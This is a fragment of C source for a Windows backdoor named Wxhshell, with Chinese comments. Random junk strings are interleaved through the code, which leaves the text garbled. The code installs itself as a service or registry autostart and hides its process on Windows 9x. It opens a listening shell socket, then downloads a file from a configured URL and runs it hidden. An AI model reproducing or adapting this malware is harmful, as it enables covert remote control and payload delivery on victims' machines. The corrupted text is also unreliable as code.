*X #fT<]j( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zTS P8Q7 if(!hProcess) return 0; hmp!|Q[) CX3yIe~u if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :J;&Z{ \w@V7~vA CloseHandle(hProcess); wrm
ReT? /ei(Q'pc[ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6x iCTs0@ if(hProcess==NULL) return 0; O 4C}]E \$W\[s4I HMODULE hMod; qW
2'?B3< char procName[255]; /7LAd_P6 unsigned long cbNeeded; e]zd6{g[m ~ya@ YP]'; if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EK2mJCC| Aq;WQyZ2 CloseHandle(hProcess); lcfX(~/m^ sg%Ptp if(strstr(procName,"services")) return 1; // 以服务启动 N:~CN1 (8Q*NZ return 0; // 注册表启动 `"h[Xb#A`b } we&D"V /zg|I?$>Z4 // 主模块 L['g')g. int StartWxhshell(LPSTR lpCmdLine) V(wANvH { 'dJ(x SOCKET wsl; 0 HPqoen$ BOOL val=TRUE; 1w} DfI int port=0; U#g,XJ struct sockaddr_in door; ,t@B]ll k7)<3f3&S. if(wscfg.ws_autoins) Install(); #u/5
nm 3A!Qu$r9 port=atoi(lpCmdLine); TrR=3_;.7 cm17hPe`}n if(port<=0) port=wscfg.ws_port; e N^6gub K9QC$b9( WSADATA data; WPDi)UX if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z3 O_K Lq]t6o] if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; LO@o`JF setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bzyy;`;6Q~ door.sin_family = AF_INET; 6<Txkk door.sin_addr.s_addr = inet_addr("127.0.0.1"); a/TeBx#yG door.sin_port = htons(port); A@ZsL '#NDR:J" if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2bAH)= closesocket(wsl); W*~[KdgC return 1; :wY(</H } v{;^>"5o P2fiK if(listen(wsl,2) == INVALID_SOCKET) { Kr%w"$< closesocket(wsl); bBY7^k return 1; Aa}Nr5{O| } k]=lo'bF4 Wxhshell(wsl); X}ft7;Jpy WSACleanup(); D9%t67s )QW
p[bV return 0; ZmAo9>'Kg @ n^2UJ } [!Zyp`: !`0
El',gY // 以NT服务方式启动 9w.ZXd
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q?V'3ZZF! { tqXCj}mR DWORD status = 0; >~*}9y0$ DWORD specificError = 0xfffffff; v~:'t\n j2s{rQQ serviceStatus.dwServiceType = SERVICE_WIN32; z<OfSS_]R serviceStatus.dwCurrentState = SERVICE_START_PENDING; GQ6~Si2 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #'8'5b serviceStatus.dwWin32ExitCode = 0; ,m[#<}xXA serviceStatus.dwServiceSpecificExitCode = 0; j7yUya& serviceStatus.dwCheckPoint = 0; Y3g<%6 serviceStatus.dwWaitHint = 0; |h-e+Wh1 @ +yjt'B hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8fA8@O} if (hServiceStatusHandle==0) return; @Px_\w yV t8QF! status = GetLastError(); [sZ,nB/ if (status!=NO_ERROR) Bk@&k}0 { Np@RK1} serviceStatus.dwCurrentState = SERVICE_STOPPED; ]ASTw(4 serviceStatus.dwCheckPoint = 0; ?U3~rro! serviceStatus.dwWaitHint = 0; WZN0`Od serviceStatus.dwWin32ExitCode = status; <lP5}F87 serviceStatus.dwServiceSpecificExitCode = specificError; >!PCEw<i SetServiceStatus(hServiceStatusHandle, &serviceStatus); p%-;hL! return; wUKt$_]`` } Sz-TarTF +Uxtxl' serviceStatus.dwCurrentState = SERVICE_RUNNING; @me ( pnD serviceStatus.dwCheckPoint = 0; q0KGI/5s4+ serviceStatus.dwWaitHint = 0; bKQ_{cR if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BHpj_LB-P } 7_`_iymR >6gduD!6I // 处理NT服务事件,比如:启动、停止 lyw)4;wt\ VOID WINAPI NTServiceHandler(DWORD fdwControl) gg@Ew4L& { I[KAW" switch(fdwControl) r#(*x 2~, { 4[rX\?^e case SERVICE_CONTROL_STOP: M3s:B& / serviceStatus.dwWin32ExitCode = 0; ,U.|+i{ serviceStatus.dwCurrentState = SERVICE_STOPPED; <~
?LU^ serviceStatus.dwCheckPoint = 0; 4F,RlKHBl serviceStatus.dwWaitHint = 0; ^%NjdZu DO { nU/x,W[} SetServiceStatus(hServiceStatusHandle, &serviceStatus); rw%OA4> } LCMn9I return; p4@0Dz`Q case SERVICE_CONTROL_PAUSE: \L"0Pmt[ serviceStatus.dwCurrentState = SERVICE_PAUSED; LfMN 'Cb break; `=E4J2" case SERVICE_CONTROL_CONTINUE: Erm]uI9` serviceStatus.dwCurrentState = SERVICE_RUNNING; { {+:Vy break; +\RviF[+ case SERVICE_CONTROL_INTERROGATE: ql7N\COoq break; t;W'<.m_ }; QeQxz1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); z'}z4^35, } -#
/'^O+% : 2A\X' @ // 标准应用程序主函数 ~vKDB$2 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /;WFRp. { ;-VXp80J H(DI /"N // 获取操作系统版本 gH/(4h OsIsNt=GetOsVer(); OySn[4`(i GetModuleFileName(NULL,ExeFile,MAX_PATH); e?<$H\ &XB1=b5 // 从命令行安装 {CQI*\O if(strpbrk(lpCmdLine,"iI")) Install(); 3^]Kd nQ;M@k&9eV // 下载执行文件 ZmS
]4WM< if(wscfg.ws_downexe) { bq z*90 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U/jCM?~ WinExec(wscfg.ws_filenam,SW_HIDE); JnS@}m } ]Uul~T (S8hr,%n if(!OsIsNt) { ;eC8|
Xz // 如果时win9x,隐藏进程并且设置为注册表启动 ,EH^3ODD HideProc(); CJt(c,!z StartWxhshell(lpCmdLine); 6JD~G\$ } 7@Xi*Azd else gFnJDR if(StartFromService()) %D>cY! // 以服务方式启动 ,yTT,)@< StartServiceCtrlDispatcher(DispatchTable); v(l:N@L else j9|1G-CM // 普通方式启动 `t2Y IwOK StartWxhshell(lpCmdLine); "cGjHy\j` e\! ic return 0; vq1u!SY }
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